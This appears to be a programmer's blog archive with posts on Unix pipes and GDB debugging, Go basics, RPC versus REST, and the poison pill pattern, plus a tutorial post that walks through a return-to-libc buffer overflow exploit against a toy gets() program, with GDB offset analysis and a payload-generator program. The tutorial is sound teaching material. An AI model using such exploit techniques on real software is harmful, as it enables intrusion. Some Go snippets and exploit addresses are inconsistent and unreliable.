    Inter-process communication using pipe and multiprocess debugging using GDB

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    Concurrency vs. Parallelism

    Quoted from Go Concurrency Patterns.



    What is Concurrency

    Programming as the composition of independently executing processes.

    What is Parallelism

    Programming as the simultaneous execution of (possibly related) computations.

    Concurrency vs. Parallelism

    Concurrency is about dealing with lots of things at once.

    Parallelism is about doing lots of things at once.

    One is about structure, one is about execution.

    Concurrency provides a way to structure a solution to solve a problem that may (but not necessarily) be parallelizable.


    Exception handling: panic/exception v.s. return error

    There are two common ways to handle errors:

    • throw exception
      • e.g. panic in Golang
    • return error code
      • return 0 or -1 in Unix system calls

    Here is one point of view to decide which method to go with.



    The rule is simple: if your function is in any way likely to fail, it should return an error code. When I’m calling some other package, if it is well written I don’t have to worry about panics, except for, well, truly exceptional conditions, things I shouldn’t be expected to handle.

    To know more. Here is a short discussion by Ross Cox, where he suggested these two articles:


    A cheatsheet on basic of Go language

    Quoted from:

    1. Getting Started
    2. A Tour of Go
    3. How to Write Go Code


    Cheatsheet

    0.Entry point

    Go program starts from package main.

    1.Export

    Capitalized function is exported. Non-capitalized function isn’t exported.

    2.Variable type is at end of declaration.

    var a int = 3
    a int := 3
    

    3.Basic types.

    bool, string
    int  int8  int16  int32  int64
    uint uint8 uint16 uint32 uint64 uintptr
    byte // alias for uint8
    rune // alias for int32, represents a Unicode code point
    float32 float64
    complex64 complex128
    

    4.Output type of a variable.

    printf("%T", variable)
    

    5.Type conversion/casting.

    new_type(variable)
    

    6.const

    const name = value
    

    7.Group of definition or import.

    var/const (
      x = 1
      y = 2
    )
    import (
      "package 1"
      "package 2"
    )
    

    8.Function with multiple return value.

    func name(x int, y int) (int, int) {
      return 1, 2
    }
    

    9.Switch 1

    Switch use fallthrough as key word to let two consecutive cases run sequentially. In Go, we don’t use break key word to terminate switch cases, they stop automatically.

    10.Switch 2

    Value of switch case could be any type, even function value is okay. Using switch without a condition is okay, then the switch case takes some boolean value, this is useful for concise if-else combination.

    11.Defer

    The deferred call’s arguments are evaluated immediately, but the function call is not executed until the surrounding function returns. When there are multiple defer functions, they are stacked in a FILO pattern.

    12.Pointer

    Pointer is like c-style, but do not support pointer arithmetic.

    13.Struct

    type Name struct {
      x int
      y int
    }
    name := Name{x:1, y:2}
    name.x
    p = &name
    p.x is okay!
    

    14.Array

    var name [10]int
    name := [3]int{1,2,3}
    name := […]int{1,2,3} //same effect as previous statement
    len(name)
    cap(name) //capacity
    

    15.Slice

    Slice is similar to array, but more flexible! Array is fixed sized, while size of slice could be modified. It is built on top of array, which is very similar to list in Java.

    Internal of slice is a pointer to a position in an array, the length, the capacity.

    Slice could be create by make

    name := make([]int, length)
    name := make([]int, length, capacity)
    name := make([]int, 0, 5) //an array with capacity 5 and length 0, initialized all value 0
    

    or by slicing an array or slice

    name[1:3] //have value at position 1,2. name could be an array or slice
    name[1:]
    

    When creating slice by slicing, the data is not copied! just modify the pointer

    And notice, when slicing, the length is determined by slice range, but the capacity is determined by maximum range which is from slice range begin to end of underlying array.

    Notice, this may cause problem because we may only need part of the array, but we are keeping the whole array in memory. So sometimes it would be better to copy that part, or other method such as append part of array to a nil array, to let garbage collector reclaim those memory.

    https://blog.golang.org/go-slices-usage-and-internals

    16.Slice is initialized as nil

    var name []int
    name == nil //true
    len(name) //0
    cap(name) //0
    

    17.Slice copy/append Slice could be copied between different lengthy, or even underlying overlapped slices.

    copy(destination, source)
    

    this will copy elements of smaller number in source and destination.

    var name = []int{1,2,3}
    append(name, 1, 2, 3)
    
    var name2= []int{4,5,6}
    append(name, name2…) //could append another slice. notice the … would unwrap the second slice
    

    18.Array/slice range

    A convenient way to iterate element in array and slice.

    for index, value := range arrayName {
      //notice value is a copy of the element
    }
    

    Could skip the value, then

    for index := range arrayName {}
    

    Or could skip index, then

    for _, v := range array {}
    

    19.Map

    Map must be created using make.

    var name = make(map[key_type] value_type)
    var map = make(map[string] int)
    

    Or could be initialized like JSON.

    var map = make(map[string] int) {
      "key1":10,
      "key2":20, //notice the commas is necessary!
    }
    

    Map operation is usual.

    map[key] = value
    value, ok = map[key] //ok is true if key exist
    delete(map, key)
    
    for key, value := map {
      //iterate map
    }
    

    20.Function as first class

    Could pass function as a parameter.

    func name(fn func(x, y int) int) int {}
    

    Notice all function argument is value copy. Not reference.

    Also, function has closure.

    21.Class

    Go doesn’t have built-in class. But we could use function to help variable to act like a class.

    We should assign a receiver type to a function, then any variable of this receiver type could call this function. So it looks like the receiver type is a class, variable is an object, and the function is a member function.

    var (f MyFloat) Abs() float64 {}//MyFloat is receiver type
    var Abs(f MyFloat) float64{} //function-wise same
    

    But receiver could only be type defined in the same package. So could not set receiver as built-in type, including int, float etc.

    Receiver could be pointer. This does not require the variable calling this function to be a pointer. It means the value of receiver is not copied to the function, instead a reference is given so that the function could modify the value of receiver. Though use a pointer as receiver variable to call function is recommended!

    var (f *MyFloat) Abs() {} //now Abs could directly modify f in its body
    

    All methods on a given type should have either value or pointer receivers, but not a mixture of both. (This is a design matter)

    22.Interface

    type name interface {
      functionName(argument) return_type
    }
    

    name x could be any type that support the function.

    Empty interface acts like void* in C language.

    var i interface{} //empty interface, i is nil after created
    i = “aa"
    i = 43 //both are correct
    

    Because the interface could be assigned to any concrete variable, sometimes we want to know what’s underlying concrete type.

    var i interface{} = "hello"
    s := i.string //s will be “hello"
    f := i.float64 //run time error
    f, ok := i.float64 //no error, ok would be false
    

    23.Switch 3

    Switch could be used to switch types.

    switch v:= i.(type) {
    case T:
    case S:
    default:
    }
    

    24.Stringer interface

    A built-in interface, similar to toString() in Java.

    type Stringer interface {
      String() string
    }
    

    25.Error

    Every built-in function return an error as last parameter.

    return_value, err = function_name()
    if err == nil {} else {}
    

    26.IO Reader

    Reader is an input stream.

    import {
      "io"
      "strings"
    }
    r := strings.NewReader("Hello, Reader!")
    b := make([]byte, 8)
    n, err := r.Read(b)
    if err == io.EOF {
      break
    }
    

    27. Routine

    Routine is like thread in other languages. You run a function in another thread.

    go fun_name(parameters)
    

    This starts a new goroutine/ light-weight thread. The parameters are evaluated when executing this line, i.e. current goroutine, but execution of the function is happen in the new goroutine, i.e. in the future.

    These go routines run in same address space, so that access to shared memory need synchronized.

    28.Rendezvous channel

    Rendezvous means synchronized. A rendezvous channel is a channel without defining size, so that the sender and receiver would be synchronized all the time.

    var channel = make(chan int)
    channel <- v  //offer v into channel, block until v is taken from receiver
    v := <- channel //take v from channel, block until sender offer a value into channel
    

    29.Buffered channel

    Buffered channel is channel with a defined capacity. So the sender and receiver could act like producer consumer model, where the channel acts like a queue with fixed size.

    var channel = make(chan int, capacity)
    channel <- v //sender be blocked when channel full
    v := <- channel //receiver blocked when channel empty
    cap(channel) //capacity
    

    30.Channel close and check Sender could and only sender should close channel

    close(channel)
    

    Receiver could check whether channel is closed by

    v, ok := <- channel
    

    A channel could be iterated using range.

    for i:= range(channel) {
      //i is element in channel
    }
    

    when channel is closed, this iteration will stop.

    31.Select Select a random executable statement to run. Notice each case statement should interact with a channel.

    select {
      case c <- x://executable when channel is not full
      case <- c: //executable when channel is not empty
      default ://executable when channel is neither full nor empty
    }
    

    32.sync.Mutex

    Go provide built-in mutex acting as lock. Though it suggests design pattern to do concurrency without locks.

    mux sync.Mutex
    mux.Lock()
    //do something
    mux.Unlock()
    

    33.Share memory by communicating

    Don’t communicate by sharing memory; share memory by communicating.

    Go blog: shareemem codewalk

    A naive interpretation: Do not use lock and shared memory, as a method to communicate among threads. Instead, use channel as communication tool, and share data among threads without lock.

    34.Go syntax

    A good post talking about why’s the similarity and difference between Go syntax and C syntax.

    Go blog: Go’s declaration syntax

    35.Defer, panic, recover

    A defer statement pushes a function call onto a list. The list of saved calls is executed after the surrounding function returns. Defer is commonly used to simplify functions that perform various clean-up actions.

    1. A deferred function’s arguments are evaluated when the defer statement is evaluated.

    2. Deferred function calls are executed in Last In First Out order after the surrounding function returns.

    3. Deferred functions may read and assign to the returning function’s named return values.

    This is convenient for modifying the error return value of a function


    Panic is a built-in function that stops the ordinary flow of control and begins panicking. When the function F calls panic, execution of F stops, any deferred functions in F are executed normally, and then F returns to its caller. To the caller, F then behaves like a call to panic. The process continues up the stack until all functions in the current goroutine have returned, at which point the program crashes. Panics can be initiated by invoking panic directly. They can also be caused by runtime errors, such as out-of-bounds array accesses.


    Recover is a built-in function that regains control of a panicking goroutine. Recover is only useful inside deferred functions. During normal execution, a call to recover will return nil and have no other effect. If the current goroutine is panicking, a call to recover will capture the value given to panic and resume normal execution.

    Go blog: defer panic and recover

    36.Test

    Go provides a built-in test platform.

    The convention is:

    1. Within the package, have a go file named XXX__test.go
    2. Within this go file, have functions named TestXXX.go
    3. The test function should have format as
      func TestXXX(t *testing.T) {}
    
    1. Import package "testing"
    2. Use test functions to indicate error. This including
    t.Error
    t.Errorf
    t.Fail
    

    Talking within Distributed System

    Message Passing, RPC, RESTful and Thrift

    • What’s different between communication in distributed system and local machine.
    • Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them.
    • Two most successful protocol using these two communication idea, i.e. RESTful and Thrift.


    Why talking within distributed system is different from local machine?

    In a local machine, when process A is communicating with process B, it could be done in a synchronized fashion guaranteed by electrical circuit or the so-called bus built in your laptop or server. So the delivery time is always constant, corresponding to several clock cycles.

    The fundamental difference of distributed system and local machine is due to network unreliability. When machine A is sending message to or call function at machine B, there is not such bus connecting them so that they could only communicate through network. So either machine A get an acknowledgement message and it could be sure that machine B receive the message, or it has to wait indefinitely since it could never tell whether the message is lost or it is network congestion.

    So it is the case that I know what I know, but I don’t know what others know, and I don’t know what others know others know…

    An example

    Through the next of this post, we will examine a simple common example distcp. So the semantic of distcp is the same as cp (copy) method, it copies data from one location to another.

    More specifically, when machine A runs distcp path1/file path2, it copy file from path1 to path2.

    Message Passing

    So message passing is actually the most straightforward and also most widely used way to implement distributed system communication (think about Internet!).

    Message Passing defines two basic method, send() and receive(). It sends the whole information including operator (in our case it is distcp) and operands (in our case it is file and path) through network. And when receiver receives the message, it lookups the operator and finds corresponding local method and then finishes the job.

    Advantages

    It is straightforward/user-friendly.

    Disadvantages

    However, despite the good point of message passing, this method leaves a lot of burden to application programmer. A common message passing is very like this: On sender’s side:

    MessageFactor.createMessage("distcp").setArgument(0, "path1/file").setArgument(1, "path2").send(ip of machine B)
    

    On receiver’s side:

    operator = receive().getOperator();
    switch(operator) {
    	case "distcp": copy to path; break;
    }
    

    There are two obvious problem. 1.Programmer needs to do lots of work to control the logic, especially on receiver’s side. 2.The program could not make use of compile check to make sure the sending message is correct. This significantly increase the possibility of runtime error.

    Remote Procedure Call (RPC)

    So to reduce the burden of programmers and make our program more predictable, RPC is a good idea.

    The core idea of RPC is to provide an interface for both local and remote procedure call, so that programmer could call remote function just like call local function.

    So the RPC way of our function is very like to be this:

    register_path("path1", ip of machine A);
    register_path("path2", ip of machine B);
    dist("path1/file", "path2");
    

    And it is done! How to find the file and how to bind the data is left to RPC service. After binding the path and machine, the programmer doesn’t need to worry about the whole logic. Moreover, now we could at compile time check whether the programmer provides exactly two arguments , reducing runtime error.

    Also, it a lot of distributed system, e.g. Hadoop platform, there’s a master machine to take care of path binding, so the two register_path method could be avoided as well!

    Note To understand how the RPC service is implemented, I encourage you to further read some posts online or this paper Implementing remote procedure calls by Andrew and Bruce.

    Advantages

    1.RPC provide the abstraction of procedure call so that programmers could use these services easily just as using local methods. 2.It also helps reducing runtime errors.

    Disadvantages Now RPC may seems really attracting, it has one important disadvantages compared to message passing – the service itself is much complicated.

    Yes, the user/programmer is relieved from handling logic and data binding themselves, but the API provider/RPC service provider need to do a lot of work, including defining interface, implementing logic etc. The complication is significant when testing some new functions, since the API may change frequently during development.

    Real World Implementation

    Now we scratched the surface of both two common communication ways, how and when do we prefer one to the other? Let’s see two most widely used communication protocol in web service today.

    RESTful

    I’m not going to talk about what is RESTful. I assume you have already know what it is and hopefully you have used it several times in your previous projects.

    RESTful is a good example using the idea of message passing. For send() method, it supports four operators, i.e. GET, PUT, POST and DELETE, and nearly unlimited number of operands (within bound of network limit of course). And receive() method is handled by HTTP request.

    Advantages 1.Lightweight. Since RESTful API is often used for implementing CRUD operations in database, so the message is generally short. 2.User-friendly. RESTful has same semantics with HTTP request, thus learning curve of RESTful is almost zero degree! 3.Language/Platform independence. Since RESTful is nothing but HTTP request, it has no constraints on language or system platform.

    Disadvantages The disadvantage of RESTful stems from HTTP protocol itself.

    One thing is RESTful does not support basic method other than HTTP’s methods. Although one could put operator inside body of HTTP request, but that would lose the lightweight property of RESTful.

    Another disadvantage is HTTP request is expensive. Each HTTP request is generally a blocking process, harming the scalability of system. (This is said be overcome in HTTP 2.0, I’m not quite familiar with HTTP 2.0, but this disadvantage holds for HTTP 1.1).

    Thrift

    My understanding of Thrift may not be correct and well-rounded, since I haven’t use Thrift a lot. But generally, Thrift is a protocol based on RPC so that to simplify remote call process and with goal of a fast, reliable and safe communication.

    To use Thrift, you need first define the RPC interface using Interface Definition Language (IDL). This interface is a constraint that both server and clients using the method should follow. After you defined the interface, it is Thrift that will take care of the underlying communication and compile time checking.

    Advantages 1.Provide compile time checking. Thrift is much stricter than RESTful, but the goodness is it could help avoid lots of small errors. 2.It is faaaaast. RPC generally take advantages of UDP protocol and binding acknowledgement message with next request to avoid overhead and amount of exchanging data.

    Disadvantages It is obvious that Thrift is way complicated than RESTful API. It also doesn’t have a universal method name (e.g. GET in RESTful). Therefore developers need to first learn the interface of different Thrift library then could they move on.

    Discussion

    So how to choose among them? Like most design in computer science, there is no absolute yes or no to choose one protocol rather than the other.

    It has been a consensus that, generally, when developing light-weight api, especially those similar with CRUD operations, and when your api is used by lots of users, then RESTful may be better choice. While developing api that is internally used, or logically complicated, or fast is your first priority, then Thrift may be better.

    In comparison these protocol, here is a great article by Kristopher Sandoval. I quote part of the article here, but you should definitely read through that great post.

    REST, on the other hand, is like a pre-paid postcard. You’ve forgone the envelope in favor of a lightweight, succinct delivery device that is easy to interpret and handle, with your message quickly scribbled on the back. The postcard uses less material (bandwidth), is typically shorter in content, and might actually get to your neighbor faster because there’s less bulk to move around.

    Thrift is like a megaphone. When you point the megaphone at your neighbor, he implicitly knows you’re upset about something — and that you’re going to say it specifically to him. He knows what to do with the information, because the reaction a human has to a megaphone is pretty universal (assuming, of course, that your megaphone is louder than his drums). The message is sent in a lightweight but forceful manner that depends entirely on the receiver to properly process it, in this case your neighbor.


    Secure Threats -- Buffer Overflow Attack -- Level 0

    Your first hacking attack

    • Our software system is far from robust and safe.
    • This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance.


    Pre-requisite The first pre-requisite is quite easy to catch up, but the second and third ones are fundamental pre knowledge.

    1. Familiar with C language. (This series would use C program as example.) And know how to use a gdb to debug C program.
    2. Familiar with basic assembly language and be able to read assembly language. (No need to good at writing them!)
    3. Know what’s a heap, stack, shared library and basically how program is mapped into memory. Or if you could understand what this figure is talking about.

    Program Memory Organization (Computer System : A Programmer’s Perspective 2nd)

    Buffer Overflow Attack

    Great, now you are ready to hack a system, and I’m showing you a way.

    What is Buffer Overflow

    Buffer Overflow is an attack/hacking solution that takes advantage of such a vulnerability: when a victim host is trying to receive a message from an attacker, it doesn’t check the length of in-coming message, so the message could be arbitrary long and, as a result, overwrite some part of victim host’s stack memory and make the hack.

    An Example (Your first hacking attack!)

    To make this clearer, let’s see a typical example.

    /* basic.c */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    /* server code, I'm victim */
    int main(int argc, char** argv)
    {
        char buf[16] ;
    
        printf("Hi, I'm server.\n");
        gets(buf);
        printf("you entered: %s\n", buf);
    
        return 0;
    }
    

    This piece of code seems okay at first glance, but the reason it suffers from a buffer overflow attack is the use of this gets function. Basically gets copy string from standard input to buf. To understand why this is a problem, we need to look inside the program to know what is happening underneath. Yeah, I mean to read some assembly code.

    By running following script,

    gcc -o basic basic.c -m32
    objdump -d basic
    

    we could get assembly code of basic. (Note we add a -m32 here to compile it to a 32-bit version)

    08048480 <main>:
     ......
     8048495:  8d 44 24 10        lea    0x10(%esp),%eax # some padding
     8048499:  89 04 24           mov    %eax,(%esp)  # put this address as argument for gets function
     804849c:  e8 9f fe ff ff     call   8048340 <gets@plt>
     ......
    

    I’m not going to talk about what exactly these assembly do. They are pretty straightforward if you have some experience with assembly language and also notice I add some comments to help you catch the idea.

    Now is key point.

    Then what gets function does is it go through standard input and copy byte by byte to buf until it met a null terminator. However, the gets function doesn’t check input length! So what if we input a very long sentence?

    -bash-4.2$ echo "a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence" | ./basic
    Hi, I'm server.
    you entered: a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence
    Segmentation fault (core dumped)
    

    The problem is the input is too long so that it override some part of original stack. This could be a disaster since stack is used to keep important variable value.

    And this is why this kind of attack is called Buffer Overflow Attack.

    To do a real attack

    To do a real attack, i.e. let the program do something you intend it to do, rather than just crash, we need more work and more analysis.

    Analysis

    By using gdb

    (gdb) b *0x804849c
    Breakpoint 1 at 0x804849c
    (gdb) r
    Starting program: basic 
    Hi, I'm server.
    
    Breakpoint 1, 0x0804849c in main ()
    (gdb) i r esp
    esp            0xffffd210       0xffffd210
    (gdb) x/wx 0xffffd210
    0xffffd210:     0xffffd220
    

    we could find right before gets is called, esp is pointing to 0xffffd220, which means our input message will be written to this address. Also, if we set breakpoint at beginning of main function,

    (gdb) b *0x0x8048480
    Breakpoint 2 at 0x8048480
    (gdb) r
    Starting program: basic
    Breakpoint 2, 0x08048480 in main ()
    (gdb) i r esp
    esp            0xffffd23c       0xffffd23c
    

    we could find return address for main function is saved at 0xffffd23c.

    Did you find the secret? The offset between the return address and the address we are going to write is only 0xffffd23c - 0xffffd220 = 0x1C = 28. This means if our input message is 28 characters or more, then we could overwrite the return address of main function!

    And let’s remind what return instruction does. It puts the value pointed by esp to eip, increment esp by 4 bytes, and execute the code pointed by eip. So this means if we change the value of return address, we could let program go to some surprised place and execute some surprised code!

    Moreover, if we construct our input message using executable code and let the return address go to our code, then we could let program do whatever we want! And this closes our analysis! Bravo!

    Sum up

    Let’s put the pieces together. To do a basic buffer overflow attack, we need to… 1.Find the address where your input message is going to write. 2.Find the most recent return address that is larger than the address in point 1. 3.Carefully calculate the offset of these two addresses and design your input message so that they could be executed by CPU to do some surprisingly fun job.

    Let’s Hack Our ‘Not-so-Robust’ Program

    The normal execution of basic program is prompt exactly same thing as we input. Now we would like it to print I'm hacked! in a funny way.

    To print something, we still need the built-in print function in stdlib. Take a look at assembly code again,

    (gdb) p &printf
    $2 = (<data variable, no debug info> *) 0xf7e32f60 <printf>
    

    To print something, we need to make sure esp is pointing to what we want to print (i.e. I'm hacked! in this case), and then call printf function! The input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message]

    To call the printf function is easy, we just need to overwrite the return address in main function with printf address, which we’ve already figured out as 0xf7e32f60.

    Then where is the hacking message? Remember the printf function print message out until it find a null terminator. Therefore we could not put the hacking message at front of input message and followed by the padding, since in this way we would print rubbish that we don’t want to. So we have to put them at the end of input message. Thus, the input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] – [hacking message]

    One last thing, we need some padding at after return to printf, this is because we use printf function not by “call” but by “return”. As we analyzed before, just before call printf, we make sure esp pointing to message we want to print out. But when we use “return” to call a function, it first put esp to eip and then pop esp so that esp will move up by 4 bytes. Also, the value in this padding is the return address after return from printf, i.e. the program will try to execute code at the position of this padding value. So we could put an exit here to let the program stop.

    (gdb) p &exit
    $5 = (<text variable, no debug info> *) 0xf7e17b10 <exit>
    

    Okay! Let’s hack it! We know…

    1. The address we are going to write from is: 0xffffd220
    2. The original return address is at: 0xffffd23c
    3. The return address need to overwrite as 0xf7e32f60
    4. The exit address is 0xf7e17b10
    5. And we put hacking message at the end: I'm hacked!

    So, what we need is: 0xffffd220 : 28 \x90 as padding …… 0xffffd23c : 0xf7e32f60 address to call printf 0xffffd240 : 0xf7e17b10 address to exit, also as padding 0xffffd244 : 0xffffd248 pointer to printing message 0xffffd248 : I'm hacked!

    Another important thing we need to keep in mind is, our system is generally small-endian. This means instead of 0xf7e32f60 as is human readable, we need to put 0x602fe3f7 in our input message. The same thing holds to 0xffffd248 and 0xf7e17b10.

    So, based on all these analysis. We get our input message: 28 \x90 0x602fe3f7 0x107be1f7 0x48d2ffff I'm hacked!

    To generate the text we could have a helper program hack

    /* basic hack.c */
    #include <stdio.h>
    
    int main(int argc, char** argv)
    {
            int i = 0;
            //padding
            for(i = 0; i < 28; i++)
            {
                    printf("\x90");
            }
            printf("\x60\x2f\xe3\xf7");//address to printf
            printf("\xa1\x83\x04\x08");//address to exit
            printf("\x48\xd2\xff\xff");//address to print message
            printf("I'm Hacked!\n");
    
            return 0;
    }
    

    Then compile it and save to a file hack.txt

    -bash-4.2$ gcc -o hack hack.c                                                                                      
    -bash-4.2$ ./hack > hack.txt
    

    Finally use gdb to test it!

    (gdb) r < hack.txt 
    Starting program: basic < hack.txt
    Hi, I'm server.
    you entered: ????????????????????????????`/{H?I'm Hacked!
    I'm Hacked![Inferior 1 (process 41057) exited with code 0111]
    

    Note At the end of output, it says program exited with code 0111. This means program doesn’t exit normally. This is because the exit function also use esp as exit code, but in our program esp saves address to message. To overcome this problem, we need to use ROP(Return-Oriented-Programming) technique. See following posts!

    Last but not least. If you test this attack without gdb, you’ll get

    -bash-4.2$ ./basic < hack.txt 
    Hi, I'm server.
    you entered: ????????????????????????????`/{H?I'm Hacked!
    Segmentation fault (core dumped)
    

    This is because the so-called ASLR(Address Space Layout Randomization) defense technique. We’ll talk about how to overcome this defense in following posts.

    And this ends the very basic Buffer Overflow Attack. Hope you enjoy it!


    Poison Pill

    A decent way to stop service in producer consumer environment

    • How do producer(s) notify consumer(s) to stop?
    • The producer can not simple kill the consumer, since there may be some jobs still in the queue.
    • One solution is use poison pill – a special value to notify consumer(s) the end of service.


    How it works?

    The idea is extremely simple. When producer wants to stop the service, it sends a special message (poison pill) into the queue and stops it self, when consumer gets this message, it closes it self as well.

    What if multiply producers and multiply consumers?

    1. If only one producer and consumer, then it’s totally fine.
    2. If there are several producers and one consumer, each producer could send a poison pill to consumer and stop itself. When consumer gets same number of poison pills, then it stop running.
    3. If there are one producer and several consumers, then producer send poison pills of same number as consumers to queue. Each consumer stops itself when get a poison pill.
    4. If there are multiple producers and multiple consumers, then each producer send poison pill of same number as consumers to queue. Each consumer stops itself when get poison pills of same number as producer.

